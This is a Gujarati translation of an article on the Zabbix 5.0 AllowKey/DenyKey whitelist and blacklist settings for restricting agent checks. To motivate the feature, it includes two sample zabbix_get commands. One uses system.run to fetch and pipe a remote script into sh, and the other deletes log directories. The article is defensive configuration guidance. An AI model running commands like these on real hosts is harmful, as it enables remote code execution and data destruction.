Zabbix 5.0 માં એજન્ટ-સાઇડ મેટ્રિક્સ માટે બ્લેકલિસ્ટ અને વ્હાઇટલિસ્ટ સપોર્ટ

એજન્ટ-સાઇડ મેટ્રિક્સ માટે બ્લેકલિસ્ટ અને વ્હાઇટલિસ્ટ સપોર્ટ

ટીખોન ઉસ્કોવ, એકીકરણ ઇજનેર, ઝબ્બીક્સ

ડેટા સુરક્ષા સમસ્યાઓ

Zabbix 5.0 માં એક નવી સુવિધા છે જે તમને Zabbix એજન્ટનો ઉપયોગ કરીને સિસ્ટમમાં સુરક્ષા સુધારવા માટે પરવાનગી આપે છે અને જૂના પરિમાણને બદલે છે રીમોટ કમાન્ડને સક્ષમ કરો.

એજન્ટ-આધારિત સિસ્ટમોની સુરક્ષામાં સુધારા એ હકીકતથી ઉદ્દભવે છે કે એજન્ટ મોટી સંખ્યામાં સંભવિત જોખમી ક્રિયાઓ કરી શકે છે.

• એજન્ટ રૂપરેખાંકન ફાઇલો, લોગ ફાઇલો, પાસવર્ડ ફાઇલો અથવા અન્ય કોઈપણ ફાઇલોમાંથી ગોપનીય અથવા સંભવિત જોખમી માહિતી સહિત લગભગ કોઈપણ માહિતી એકત્રિત કરી શકે છે.

ઉદાહરણ તરીકે, zabbix_get યુટિલિટીનો ઉપયોગ કરીને તમે વપરાશકર્તાઓની સૂચિ, તેમની હોમ ડિરેક્ટરીઓ, પાસવર્ડ ફાઇલો વગેરેને ઍક્સેસ કરી શકો છો.

zabbix_get યુટિલિટીનો ઉપયોગ કરીને ડેટા એક્સેસ કરી રહ્યા છીએ

નોંધ. જો એજન્ટને સંબંધિત ફાઇલ પર વાંચવાની પરવાનગીઓ હોય તો જ ડેટા પુનઃપ્રાપ્ત કરી શકાય છે. પરંતુ, ઉદાહરણ તરીકે, ફાઇલ /etc/passwd/ બધા વપરાશકર્તાઓ દ્વારા વાંચી શકાય.

• એજન્ટ સંભવિત જોખમી આદેશો પણ ચલાવી શકે છે. ઉદાહરણ તરીકે, કી *system.run[]** તમને નેટવર્ક નોડ્સ પર કોઈપણ રીમોટ આદેશો ચલાવવાની મંજૂરી આપે છે, જેમાં Zabbix વેબ ઈન્ટરફેસમાંથી ચાલતી સ્ક્રિપ્ટ્સનો સમાવેશ થાય છે જે એજન્ટ બાજુ પર આદેશો પણ ચલાવે છે.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• Linux પર, એજન્ટ રુટ વિશેષાધિકારો વિના ડિફોલ્ટ રૂપે ચાલે છે, જ્યારે Windows પર તે સિસ્ટમ તરીકે સેવા તરીકે ચાલે છે અને ફાઇલ સિસ્ટમમાં અપ્રતિબંધિત ઍક્સેસ ધરાવે છે. તદનુસાર, જો ઇન્સ્ટોલેશન પછી Zabbix એજન્ટ પેરામીટર્સમાં કોઈ ફેરફાર કરવામાં આવ્યો નથી, તો એજન્ટને રજિસ્ટ્રી, ફાઇલ સિસ્ટમની ઍક્સેસ હોય છે અને તે WMI ક્વેરીઝને એક્ઝિક્યુટ કરી શકે છે.

અગાઉના સંસ્કરણોમાં પરિમાણ RemoteCommands=0 સક્ષમ કરો ફક્ત કી સાથે મેટ્રિક્સને અક્ષમ કરવાની મંજૂરી છે *system.run[]** અને વેબ ઈન્ટરફેસમાંથી સ્ક્રિપ્ટો ચાલી રહી હતી, પરંતુ વ્યક્તિગત ફાઇલોની ઍક્સેસને પ્રતિબંધિત કરવાની, એજન્ટ સાથે ઇન્સ્ટોલ કરેલી વ્યક્તિગત કીને મંજૂરી આપવા અથવા અક્ષમ કરવાની અથવા વ્યક્તિગત પરિમાણોના ઉપયોગને મર્યાદિત કરવાની કોઈ રીત નહોતી.

Zabbix ના પહેલાનાં વર્ઝનમાં EnableRemoteCommand પેરામીટરનો ઉપયોગ કરવો

AllowKey/DenyKey

Zabbix 5.0 એજન્ટ બાજુ પર મેટ્રિક્સને મંજૂરી આપવા અને નકારવા માટે વ્હાઇટલિસ્ટ્સ અને બ્લેકલિસ્ટ્સ પ્રદાન કરીને આવા અનધિકૃત ઍક્સેસ સામે રક્ષણ કરવામાં મદદ કરે છે.

Zabbix 5.0 માં * સહિત તમામ કીsystem.run[]** સક્ષમ છે, અને બે નવા એજન્ટ રૂપરેખાંકન વિકલ્પો ઉમેરવામાં આવ્યા છે:

AllowKey= - પરવાનગી તપાસો;

DenyKey= - પ્રતિબંધિત ચેક;

પેરામીટર્સ સાથે કી નામ પેટર્ન ક્યાં છે જે મેટાકેરેક્ટર (*) નો ઉપયોગ કરે છે.

AllowKey અને DenyKey કી તમને ચોક્કસ પેટર્નના આધારે વ્યક્તિગત મેટ્રિક્સને મંજૂરી આપવા અથવા નકારવા દે છે. અન્ય રૂપરેખાંકન પરિમાણોથી વિપરીત, AllowKey/DenyKey પરિમાણોની સંખ્યા મર્યાદિત નથી. આ તમને સ્પષ્ટપણે વ્યાખ્યાયિત કરવાની મંજૂરી આપે છે કે એજન્ટ ચેક્સનું એક વૃક્ષ બનાવીને સિસ્ટમમાં બરાબર શું કરી શકે છે - એક્ઝિક્યુટેબલ કી, જ્યાં તે જે ક્રમમાં લખવામાં આવે છે તે ખૂબ જ મહત્વપૂર્ણ ભૂમિકા ભજવે છે.

નિયમોનો ક્રમ

નિયમો તે ક્રમમાં તપાસવામાં આવે છે જેમાં તેઓ રૂપરેખાંકન ફાઇલમાં દાખલ કરવામાં આવે છે. પ્રથમ મેચ પહેલા નિયમો અનુસાર કીની ચકાસણી કરવામાં આવે છે, અને જલદી ડેટા ઘટકની કી પેટર્ન સાથે મેળ ખાય છે, તેને મંજૂરી અથવા નકારવામાં આવે છે. આ પછી, નિયમ તપાસવાનું બંધ થાય છે અને બાકીની ચાવીઓ અવગણવામાં આવે છે.

તેથી, જો કોઈ તત્વ મંજૂરી અને નામંજૂર નિયમ બંને સાથે મેળ ખાતું હોય, તો પરિણામ રૂપરેખાંકન ફાઇલમાં કયો નિયમ પ્રથમ છે તેના પર નિર્ભર રહેશે.

સમાન પેટર્ન અને કી સાથે 2 જુદા જુદા નિયમો vfs.file.size[/tmp/file]

AllowKey/DenyKey કીનો ઉપયોગ કરવાનો ક્રમ:

1. ચોક્કસ નિયમો,
2. સામાન્ય નિયમો,
3. પ્રતિબંધક નિયમ.

ઉદાહરણ તરીકે, જો તમને કોઈ ચોક્કસ ફોલ્ડરમાં ફાઇલોની ઍક્સેસની જરૂર હોય, તો તમારે પહેલા તેમને ઍક્સેસ કરવાની મંજૂરી આપવી જોઈએ, અને પછી સ્થાપિત પરવાનગીઓમાં આવતી નથી તે બધું નકારવું જોઈએ. જો નામંજૂર નિયમનો પ્રથમ ઉપયોગ કરવામાં આવે, તો ફોલ્ડરની ઍક્સેસ નકારવામાં આવશે.

યોગ્ય ક્રમ

જો તમારે 2 ઉપયોગિતાઓને * દ્વારા ચલાવવાની મંજૂરી આપવાની જરૂર હોયsystem.run[]**, અને નામંજૂર નિયમ પ્રથમ સ્પષ્ટ કરવામાં આવશે, ઉપયોગિતાઓ લોન્ચ કરવામાં આવશે નહીં, કારણ કે પ્રથમ પેટર્ન હંમેશા કોઈપણ કી સાથે મેળ ખાશે, અને પછીના નિયમોને અવગણવામાં આવશે.

ખોટો ક્રમ

દાખલાઓ

મૂળભૂત નિયમો

પેટર્ન એ વાઇલ્ડકાર્ડ્સ સાથેની અભિવ્યક્તિ છે. મેટાકેરેક્ટર (*) ચોક્કસ સ્થાન પર કોઈપણ અક્ષરોની સંખ્યા સાથે મેળ ખાય છે. મેટાઅક્ષરોનો ઉપયોગ કી નામ અને પરિમાણો બંનેમાં થઈ શકે છે. ઉદાહરણ તરીકે, તમે ટેક્સ્ટ સાથે પ્રથમ પરિમાણને સખત રીતે વ્યાખ્યાયિત કરી શકો છો, અને પછીના એકને વાઇલ્ડકાર્ડ તરીકે સ્પષ્ટ કરો.

પરિમાણો ચોરસ કૌંસમાં બંધ હોવા જોઈએ [].

• system.run[* - ખોટું
• vfs.file*.txt] - ખોટું
• vfs.file.*[*] - અધિકાર

વાઇલ્ડકાર્ડનો ઉપયોગ કરવાના ઉદાહરણો.

1. કી નામ અને પરિમાણમાં. આ કિસ્સામાં, કી સમાન કીને અનુરૂપ નથી જેમાં પરિમાણ નથી, કારણ કે પેટર્નમાં અમે સૂચવ્યું છે કે અમે કી નામનો ચોક્કસ અંત અને પરિમાણોનો ચોક્કસ સેટ પ્રાપ્ત કરવા માંગીએ છીએ.
2. જો પેટર્ન ચોરસ કૌંસનો ઉપયોગ કરતી નથી, તો પેટર્ન બધી કીને મંજૂરી આપે છે જેમાં પરિમાણો શામેલ નથી અને ઉલ્લેખિત પેરામીટર ધરાવતી બધી કીને નકારે છે.
3. જો કી સંપૂર્ણ રીતે લખેલી હોય અને પરિમાણો વાઇલ્ડકાર્ડ તરીકે સ્પષ્ટ કરેલ હોય, તો તે કોઈપણ પરિમાણો સાથે સમાન કી સાથે મેળ ખાશે અને ચોરસ કૌંસ વિના કી સાથે મેળ ખાશે નહીં, એટલે કે તેને મંજૂરી આપવામાં આવશે અથવા નકારવામાં આવશે.

પરિમાણો ભરવા માટેના નિયમો.

• જો પરિમાણો સાથેની કીનો ઉપયોગ કરવાનો ઈરાદો હોય, તો પરિમાણો રૂપરેખાંકન ફાઈલમાં સ્પષ્ટ થયેલ હોવા જોઈએ. પરિમાણો મેટાકેરેક્ટર તરીકે ઉલ્લેખિત હોવા આવશ્યક છે. કોઈપણ ફાઇલની ઍક્સેસને કાળજીપૂર્વક નકારવા અને વિવિધ જોડણીઓ હેઠળ મેટ્રિક કઈ માહિતી પ્રદાન કરી શકે છે તે ધ્યાનમાં લેવું જરૂરી છે - પરિમાણો સાથે અને વગર.

પરિમાણો સાથે કી લખવાની સુવિધાઓ

• જો કી પરિમાણો સાથે ઉલ્લેખિત છે, પરંતુ પરિમાણો વૈકલ્પિક છે અને મેટાકેરેક્ટર તરીકે ઉલ્લેખિત છે, તો પરિમાણો વિનાની કી ઉકેલવામાં આવશે. ઉદાહરણ તરીકે, જો તમે CPU પરના લોડ વિશે માહિતી મેળવવાને નિષ્ક્રિય કરવા માંગો છો અને સ્પષ્ટ કરો કે system.cpu.load[*] કી નિષ્ક્રિય હોવી જોઈએ, તો ભૂલશો નહીં કે પરિમાણો વગરની કી સરેરાશ લોડ મૂલ્ય આપશે.

પરિમાણો ભરવા માટેના નિયમો

નોંધો

ગોઠવણ

• કેટલાક નિયમો વપરાશકર્તા દ્વારા બદલી શકાતા નથી, ઉદાહરણ તરીકે, શોધ નિયમો અથવા એજન્ટ ઓટો-રજીસ્ટ્રેશન નિયમો. AllowKey/DenyKey નિયમો નીચેના પરિમાણોને અસર કરતા નથી:
  - હોસ્ટનેમ આઇટમ
  - હોસ્ટમેટાડેટા આઇટમ
  - HostInterfaceItem

નોંધ. જો એડમિનિસ્ટ્રેટર કીને નિષ્ક્રિય કરે છે, જ્યારે ક્વેરી કરવામાં આવે ત્યારે, Zabbix મેટ્રિક અથવા કી શા માટે ' શ્રેણીમાં આવે છે તે વિશે માહિતી પ્રદાન કરતું નથીઅસંભવિત' રીમોટ આદેશો ચલાવવા પર પ્રતિબંધો વિશેની માહિતી એજન્ટ લોગ ફાઇલોમાં પણ પ્રદર્શિત થતી નથી. આ સુરક્ષા કારણોસર છે, પરંતુ જો કોઈ કારણસર મેટ્રિક્સ અસમર્થિત શ્રેણીમાં આવે તો ડિબગીંગને જટિલ બનાવી શકે છે.

• તમારે બાહ્ય રૂપરેખાંકન ફાઇલોને કનેક્ટ કરવા માટે કોઈ ચોક્કસ ક્રમ પર આધાર રાખવો જોઈએ નહીં (ઉદાહરણ તરીકે, મૂળાક્ષરોના ક્રમમાં).

આદેશ વાક્ય ઉપયોગિતાઓ

નિયમો સેટ કર્યા પછી, તમારે ખાતરી કરવાની જરૂર છે કે બધું યોગ્ય રીતે ગોઠવેલું છે.

તમે ત્રણ વિકલ્પોમાંથી એકનો ઉપયોગ કરી શકો છો:

• Zabbix માં મેટ્રિક ઉમેરો.
• સાથે ટેસ્ટ zabbix_agentd. વિકલ્પ સાથે Zabbix એજન્ટ -છાપ (-પી) રૂપરેખાંકન દ્વારા મંજૂર ન હોય તે સિવાયની બધી કીઓ (જે મૂળભૂત રીતે માન્ય છે) બતાવે છે. અને વિકલ્પ સાથે -પરીક્ષણ (-ટી) માટે પ્રતિબંધિત ચાવી પાછી આવશે'અસમર્થિત આઇટમ કી'.
• સાથે ટેસ્ટ zabbix_get. ઉપયોગિતા zabbix_get વિકલ્પ સાથે -k પાછા આવસે 'ZBX_NOTSUPPORTED: અજ્ઞાત મેટ્રિક'.

મંજૂરી આપો અથવા નામંજૂર કરો

તમે ફાઇલની ઍક્સેસને નકારી શકો છો અને ચકાસી શકો છો, ઉદાહરણ તરીકે, ઉપયોગિતાનો ઉપયોગ કરીને zabbix_getતે ફાઇલની ઍક્સેસ નકારી છે.

**

નોંધ. પરિમાણમાં અવતરણો અવગણવામાં આવે છે.

આ કિસ્સામાં, આવી ફાઇલની ઍક્સેસને અલગ પાથ દ્વારા મંજૂરી આપવામાં આવી શકે છે. ઉદાહરણ તરીકે, જો સિમલિંક તેની તરફ દોરી જાય છે.

ઉલ્લેખિત નિયમો લાગુ કરવા માટે વિવિધ વિકલ્પો તપાસવાની ભલામણ કરવામાં આવે છે, અને પ્રતિબંધોને અવગણવાની શક્યતાઓને પણ ધ્યાનમાં લેવી જોઈએ.

પ્રશ્નો અને જવાબો

તમારો પ્રશ્ન. નિયમો, પરવાનગીઓ અને પ્રતિબંધોનું વર્ણન કરવા માટે તેની પોતાની ભાષા સાથેની આવી જટિલ પેટર્ન શા માટે પસંદ કરવામાં આવી? શા માટે તેનો ઉપયોગ કરવો શક્ય ન હતું, ઉદાહરણ તરીકે, Zabbix જે રેગ્યુલર એક્સપ્રેશન્સ વાપરે છે?

જવાબ આપો. આ એક રેજેક્સ પ્રદર્શન સમસ્યા છે કારણ કે સામાન્ય રીતે માત્ર એક જ એજન્ટ હોય છે અને તે મોટી સંખ્યામાં મેટ્રિક્સ તપાસે છે. રેજેક્સ એકદમ ભારે કામગીરી છે અને અમે આ રીતે હજારો મેટ્રિક્સ ચકાસી શકતા નથી. વાઇલ્ડકાર્ડ્સ - એક સાર્વત્રિક, વ્યાપકપણે ઉપયોગમાં લેવાતો અને સરળ ઉકેલ.

તમારો પ્રશ્ન. શું સમાવિષ્ટ ફાઇલો મૂળાક્ષરોના ક્રમમાં શામેલ નથી?

જવાબ આપો. જ્યાં સુધી હું જાણું છું, જો તમે નિયમોને જુદી જુદી ફાઈલોમાં ફેલાવો તો કયા ક્રમમાં નિયમો લાગુ થશે તેની આગાહી કરવી લગભગ અશક્ય છે. હું તમામ AllowKey/DenyKey નિયમોને એક સમાવિષ્ટ ફાઇલમાં એકત્રિત કરવાની ભલામણ કરું છું, કારણ કે તેઓ એકબીજા સાથે ક્રિયાપ્રતિક્રિયા કરે છે અને આ ફાઇલ સહિત.

તમારો પ્રશ્ન. Zabbix 5.0 માં વિકલ્પ 'RemoteCommands= સક્ષમ કરો' રૂપરેખાંકન ફાઇલમાંથી ખૂટે છે, અને માત્ર AllowKey/DenyKey ઉપલબ્ધ છે?

જવાબ આપો. હા તે સાચું છે.

તમારું ધ્યાન બદલ આભાર!

સોર્સ: www.habr.com